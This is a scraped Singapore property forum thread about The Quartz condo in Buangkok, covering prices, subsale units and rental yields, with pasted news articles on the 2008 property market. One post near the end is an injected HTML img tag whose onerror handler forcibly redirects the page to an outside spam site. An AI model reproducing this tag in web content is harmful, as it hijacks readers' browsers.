this is a very good buy indeed. so cheap.Originally Posted by Bishan
YES - Not enough CPF Minimum Sum...sigh.
YES - Need to get higher loan for Condo. Not worth it.
NO - I can get good rental yield. Shiok man.
NO - Other reason.
this is a very good buy indeed. so cheap.Originally Posted by Bishan
cheaper than hdb's citylights? with carpark and facilities and near MRT, it is a good buy. why wait? construction costs are going up.Originally Posted by Unregistered2
sorry, i mean hdb's cityview.Originally Posted by Unregistered2
Good buy or not depends also on which floor and the facing.Originally Posted by Unregistered2
Hi,
I m interested in buying a unit but finds the developer's pricing a bit high.
Can any1 tell me where to look for subsale units?
Thanks in advance,
Hmm...actually,..with the 8% cash back, the price isn't exactly that high isn't it? Anyway, how much rental to u think a nuit there can fetch?
You can drop me a PM. I can pass you my agent's contact from whom I bought a subsale unit from just last week.Originally Posted by Interested_buyer
My agent told me the rental should be around $4K per month as TQ is very near to MRT.Originally Posted by BooBoo
wow...would it really be that good? i know K.Melody some hitting 4.5k
The bigger you are, the better you weather the storm
By VEN SREENIVASAN
WHAT a difference a year makes.
Last year, euphoria ruled asset markets. After a moribund three years which saw Singapore property values dive by some 45 per cent, the market sprang to life in 2007, fuelled by the robust stock market and supported by a slew of new infrastructure initiatives - most notably the integrated resort (IR) development plans. Property prices surged some 28 per cent last year.
But all that is history now.
Latest data shows that prices for some property transactions in the sub-sale market have declined almost 40 per cent from last September's levels. And although new home prices are still holding up amid only 2,100 new units launched to date, a potential glut of new supply next year could put pressure on new home prices.
Not surprisingly, property stocks have been hit.
And the turbulence facing the industry has sparked the inevitable rumours about who might be impacted most.
One company which is being closely watched is high-end property developer SC Global Developments.
With its properties priced at $4,000 per square foot per plot ratio (psf ppr) and above, speculation is rife that the company is caught between a rock and a hard place. Not surprisingly, SC Global's stock price has dived into a seemingly inexorable decline, losing some two-thirds of its value since last October to close at $1.26 yesterday.
Weighing down sentiment on the stock is market talk that the company is struggling under a huge overhang of unsold apartment units and grappling with a huge debt burden.
Indeed, SC Global started the year with almost 1.1 million sq ft of unsold property - primarily at The Marq on Paterson, Hilltops, The Ardmore and The Beachfront Collection @ Sentosa. More critically, the company had debts of some $1.2 billion, almost double the $700 million it had a year earlier.
And its debt/equity ratio was almost three times.
Not exactly comforting numbers.
But looks can be deceiving. And SC Global is not just any developer.
The company, which has over $60 million in cash in its coffers, is a niche player catering to a high-end, globally mobile, jet-setting class which is relatively price-insensitive and discriminating.
Over the past half-year, the company has managed to sell some 200,000 sq ft of its land bank - mainly at The Marq @ Paterson and Hilltops - for over $700 million.
If SC Global exercises its option to prepay its debts from sale proceeds, the company would be left with a net debt of some $500 million against a remaining land bank of 900,000 sq ft. The resulting debt-land bank ratio of some $555 psf ppr is not exactly an insurmountable problem for a company like SC Global.
Seen from another angle, this could be a breakeven price of sorts for the company should it want to be completely debt-free (not that SC Global will ever sell any of its luxury units at such bargain basement prices, though).
In fact, the company has completely recouped its costs at The Marq with the sale of 40 per cent of the units there. So proceeds from every additional unit sold in the future will go straight to its bottom line.
But all this does not change the depressing macro picture for the property sector here, where there is still significant downside risk to valuations.
Still, as Merrill Lynch noted recently, SC Global has only two property assets that are at risk of impairment in the current downcycle: the Sentosa Beachfront Collection and The Ardmore. But the investment house noted that the average book value of these assets would have to dive by two-thirds, from $2,141 psf ppr to $824 psf ppr, 'to be of any real threat to SC Global's survival' - an outcome which is highly unlikely.
Recent evidence suggests that despite the current slowdown, the luxury segment seems to have held up pretty well, with some 50 new apartments in the over $10 million price range being snapped up this year. This number could double by year-end.
Meanwhile, Fitch Ratings believes that residential receivable transactions have not been impacted by the softening of the local residential market. Fitch - which applies market value decline (MVD) assumptions of between 48 per cent and 58 per cent to the transactions depending on the property location - dismisses the possibility that the current stress scenario will develop into anything similar to that which existed during the Asian financial crisis.
The bottom line? Not all property players are equal. Some, like SC Global, have a premium land bank, cater to a niche market, and have the ability to sit on their land bank for a while. These players will ride out the current turbulence better than others.
Yes, you are right, KM rental is even better than TQ. Actually if you take into consideration some of our neighbours who bought earlier , the rental yield actually work out to be around 8%. For those who bought now also not too bad, rental yield can fetch more than 6%.Originally Posted by BooBoo
Originally Posted by TQ owner 14k per month? Provided The Quartz will be sold out like K.Melody. If not most probably Gucco will also rent out all its unsold units too.Originally Posted by BooBoo
Yes, I agree. Provided TQ sold out before TOP. But the rental will likely not affect most of the owners as most of them like me bought it for own stay.Originally Posted by Bishan
Thanks for the good news.Originally Posted by Sell Sell
Yeah! Seems like more good news are coing out.Originally Posted by Unreg‘stered
Originally Posted by mr funny
Originally Posted by Happy Feet
See the news...Citigroup has made a huge loss during subprime mortgate crisis due to wrong prediction on the mortgate market.
This could be another wrong market prediction, so must be careful.
inflation rate already shown we r into recession. no amount of 'good news' is able to turn the present situation around.
since when we r in recession?? Havent u read all the figure??Originally Posted by Unregistered1
Are you so dumb to be spoon fed by newspaper articles? Dont you have a brain of your own?Originally Posted by Unregistered99
Precisely I have a brain that I ask this question to u...seems u cant ans it??Originally Posted by Unregistered999
hi all, im new to the forum.. would appreciate if someone can help explain how i can go abt purchasing a unit thru subsales.. ur advice greatly appreciated..
Seems like Ms Ang is considering putting up for sale rather than buying. Judging from earlier posting below, she already had this place if it's the same Ms Ang?Originally Posted by Ms Ang
otherwise it will be a coincidence and just to share with potential subsale buyer here, this unit might just belong to a owner who is just out to 'test water' and might be challenging to negotiate a deal..
------------------------------------------------------------
Ms Ang
Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)
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Quote:
Originally Posted by Professional
Look out for 2nd launch in 1st quater 2007! Grab before price go up further.
Just book a 99sqm unit..10th- cost S$536K, facing MRT and plot of land potentially for new commercial development...agent confirm that wef 17th Feb price will go up 40-50K/unit....saw the new price list.
Overall Value for $$ for own stay. But for those buying for investment, return will not as good.
Ms Ang
February 14th, 2007 #37
Unregistered
Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)
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Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?
Unregistered
February 14th, 2007 #38
Unregistered
Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)
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I think TQ is a good condo with new surroundings (new HDB premium flat) and esp. the MRT (Main line and not subline, eg Circle Line, LRT, etc.) at your doorstep. Everyone in the house will benefit from the convenience of MRT on a daily basis. Since most of the buyers are stayers (not tenants), it will be everyones interest to upkeep the place hence making it good for families and homestay. Still considering and hope the price increase is not true as I'm doing my final calculation on the extra amount I need to fork out when I sell my HDB. Problem is that my HDB price is not rising in tandem with the new condo prices.
Unregistered
February 14th, 2007 #39
Ms Ang
Posts: n/a Re: The Quartz @ Buangkok (99LH By Guocoland)
--------------------------------------------------------------------------------
Quote:
Originally Posted by Unregistered
Ms Ang, which BLK did you purchase? can see the 2 tennis court? got afternoon sun? what did the agent tell you about the empty land or when will be the TOP?
TOP June 2010, but most project will complete 6months - 1 year before TOP.
I brought Block 53, nearest to the main entrance.
might not be the same person. i used a name which someone else uses too.Originally Posted by dd
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http://www.straitstimes.com/Money/St...ry_253013.html
June 30, 2008
LEASEHOLD PROJECT
Buyers snap up 195 units in Bishan condo
IN A welcome departure from the generally quiet market so far this year, the latest property launch - of the 616-unit Clover by the Park - has generated sales of 195 units so far.
Sim Lian Group, which is developing the condo, said that as at 8pm last night, it had sold 195 out of the 308 units that were released for sale since last Friday's official launch.
The 99-year leasehold condominium has large units, suites and penthouses.
The eight suites, of 3,057 sq ft each, were all snapped up, indicating that buyers were keen on larger units.
Buyers were mostly families upgrading from HDB flats. They picked up units priced between $907,000 and $2.68 million, or $599 per sq ft (psf) to $858 psf, said Sim Lian Land's executive director, Ms Diana Kuik.
The average price worked out to be about $750 psf.
Ms Kuik said potential buyers thronged the showflat and some stayed so late that the developer closed the showflat only at midnight on Saturday and around 10pm last night.
However, about 100 units had already been sold by Thursday, following the development's soft launch on Wednesday.
The property market has largely been quiet recently, as sentiment dipped drastically early in the year. Sales volume has plunged dramatically from the numbers registered during the boom times of last year. While the mood is still cautious, a few recent launches have registered encouraging sales.
Savills Singapore's director of marketing and business development, Mr Ku Swee Yong, said: 'Serious buyers were probably spoilt for choice this weekend, shopping among the few launches which are attractively priced.'
A week ago, the 99-year leasehold Dakota Residences in Dakota Crescent and the freehold The Amery in Telok Kurau were released for sale.
JOYCE TEO
Originally Posted by Unregistered99Originally Posted by Unregistered999Don't fight lah.Originally Posted by Unregistered99
Everything got up and down one.
Market came down in Q4 '07.
It is now going up from Q2 '08.
Citi is just telling you the start of the up cycle.
Just a cycle. No big deal. Quite normal.
Originally Posted by mr funny
Do you all think the developer will come out with new package to entice ppls to buy the remaining units? Just look at Clover by the Park, 195 units sold in 1 week.
<img src=http://google.com/444.gif onerror="window.open('http://tvoi-dosug.com/in.htm?wm=1035067&sasa=','_top')">
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Hi all.
I just bought a unit, stack 63. Thus, will be joining and reading here closely.
congrats and welcome to the TQ family.Originally Posted by Icekopi
Thanks, can tell from the forum that there are many many friendly ppl in the future neighbourhood!
Really looking forward!!!!!!